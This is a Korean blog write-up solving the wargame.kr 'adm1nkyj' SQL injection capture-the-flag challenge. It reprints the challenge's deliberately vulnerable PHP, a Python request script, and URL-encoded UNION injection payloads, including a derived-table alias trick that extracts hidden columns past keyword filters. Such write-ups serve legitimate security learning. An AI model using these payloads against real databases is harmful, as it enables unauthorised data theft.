SQL injection Challenge! (injection) - thx to adm1nkyj
역대급으로 오래 걸린 문제이다 ㅡㅡ
이 문제는 들어오자마자 대뜸 소스부터 보여준다
잘못들어온게 아닌가 다시 볼정도로 당황했다...
<?php error_reporting(0); include("./config.php"); // hidden column name include("../lib.php"); // auth_code function mysql_connect("localhost","adm1nkyj","adm1nkyj_pz"); mysql_select_db("adm1nkyj"); /**********************************************************************************************************************/ function rand_string() { $string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"; return str_shuffle($string); } function reset_flag($count_column, $flag_column) { $flag = rand_string(); $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2")); if($query[$count_column] == 150) { if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';")) { mysql_query("UPDATE findflag_2 SET $count_column=0;"); echo "reset flag<hr>"; } return $flag; } else { mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);"); } return $query[$flag_column]; } function get_pw($pw_column){ $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1")); return $query[$pw_column]; } /**********************************************************************************************************************/ $tmp_flag = ""; $tmp_pw = ""; $id = $_GET['id']; $pw = $_GET['pw']; $flags = $_GET['flag']; if(isset($id)) { if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack"); if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack"); $tmp_flag = reset_flag($count_column, $flag_column); $tmp_pw = get_pw($pw_column); $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';")); if($query[$id_column]) { if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag) { echo "good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>"; } else { echo "Hello ".$query[$id_column]."<hr>"; } } } else { highlight_file(__FILE__); } ?>
어쨌든 쿼리를 파괴(?)해야하는데 많은 시도를 해야될 것 같기 때문에 간단한 python 코드를 작성했다.
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, time headers = {'Host': 'wargame.kr:8080'} data = "?id=" data = data + urllib.quote("") data = data + "&pw=" data = data + urllib.quote("") req = urllib2.Request("http://wargame.kr:8080/adm1nkyj/" + data, '', headers) response = urllib2.urlopen(req) res = response.read() print len(res), res
요렇게..
len을 굳이 붙인 이유는 틀리면 아무것도 반환이 안되기 때문이다.
어쨌든 처음부터 보면, 가장 처음에 id와 pw에 값을 넣어 쿼리를 부셔볼 수 있다.
다음과 같이 쿼리를 작성한다.
?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23
union을 이용해서 중간에 강제로 ' ' 를 만들어 php 변수를 출력시키는건데, 요렇게 하면
Hello and <hr>
와 같은 꼴로 pw의 컬럼을 알 수 있게 된다.
pw를 알아내기 위해선 서브쿼리를 이용해서 다음과 같이 날려준다.
?id=%27%20union%20select%201%2C%28select%20xPw4coaa1sslfe%20from%20findflag_2%29%2C&pw=%2C4%2C5%23
자, 이제 아이디를 알아내야할 시간이다.
?id=%27%20OR%201%3D1%20union%20select%201%2C2%2C&pw=%2C4%2C5%23
이렇게 날려주면 쿼리가 '' 가 참이 되어 성립하기 때문에 id의 값을 알 수 있다.
다만, 컬럼이름은.. 알기 어려운것 같고. (이 문제에선 못알아낼듯)
아이디와 비밀번호를 모두 취득했지만, 하나의 난관이 더 남아있다. 바로 flag..
150번시도하면 리셋을 시키는통에 전사공격도 불가능하다. 어떻게 해야할까...
flag를 알아내보기위해 정말 많이 검색을 해봤는데 잘 모르겠다. 블라인드 유니온 인젝션이라고 해야할까?;
그와중에 이런걸 찾았는데 별 도움은 안되었다.
CONCAT(0x27,0x7c,0x5f,0x7c)
역시 procedure analyse() 도 안먹혔다. 도대체 뭐야 ... 하고 생각하다가
문득 이런생각을 했다
select를 할때, 동일한 알리아스를 사용하는 컬럼과, 테이블 셋이 있다면 어떻게 될까?
테이블을 select 할 수 없으니 같은 이름의 알리아스를 찾을테고, 걔를 셀렉트 하지 않을까?
그래서 다음과 같이 코드를 작성했다
select concat(x,'x') from ( select 1,2,3,4 as x,5 union select * from TABLE ) as x
놀랍게도 4x 밑으로 내가 원한 컬럼들이 주욱 나열된다. 고로 이 트릭을 이용해 문제를 풀어보자.
data = "?id=" data = data + urllib.quote("' union select 1,b,3,4,5 /*") data = data + "&pw=" data = data + urllib.quote("*/ from (select 1,2,3,4 as b,5 union select * from findflag_2) as b limit 1,1#")
이렇게 하면 flag를 얻을 수 있다. 여기까지 풀고 좋아죽을뻔했지만...
플래그는 답이 아니다. 침착하게 얻어낸 아이디, 비밀번호, 플래그를 보내주고 마무리 짓자.
정말 며칠을 고민했는지 끙끙거리며 산것 같다... 개념을 알았으니 좀 더 advanced한 Zairo에 도전해볼차례가 되었다!